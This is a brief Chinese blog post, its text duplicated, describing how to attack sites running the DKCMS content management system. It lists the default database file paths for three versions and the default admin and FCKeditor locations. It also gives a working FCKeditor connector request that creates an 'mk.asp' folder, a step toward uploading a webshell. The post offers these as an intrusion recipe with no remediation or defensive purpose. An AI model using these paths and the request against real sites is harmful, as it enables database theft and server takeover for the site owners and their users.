动科(dkcms)漏洞

  • A+
所属分类:颓废's Blog
摘要

官方网站:www.dkcms.com
 
主要是差不多3个版本为主吧,
 
V2.0   data/dkcm_ssdfhwejkfs.mdb
 
V3.1   _data/___dkcms_30_free.mdb
 
V4.2   _data/I^(()UU()H.mdb
 
 
默认后台:admin
 
编辑器:admin/fckeditor
 
由此可见,官方安全意识挺差的,至于后台拿shell,fck编辑器突破可拿shell
 
建立asp文件夹
 
Fck的路径:Admin/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/mk.asp&NewFolderName=mk.asp

官方网站:www.dkcms.com
 
主要是差不多3个版本为主吧,
 
V2.0   data/dkcm_ssdfhwejkfs.mdb
 
V3.1   _data/___dkcms_30_free.mdb
 
V4.2   _data/I^(()UU()H.mdb
 
 
默认后台:admin
 
编辑器:admin/fckeditor
 
由此可见,官方安全意识挺差的,至于后台拿shell,fck编辑器突破可拿shell
 
建立asp文件夹
 
Fck的路径:Admin/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/mk.asp&NewFolderName=mk.asp

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: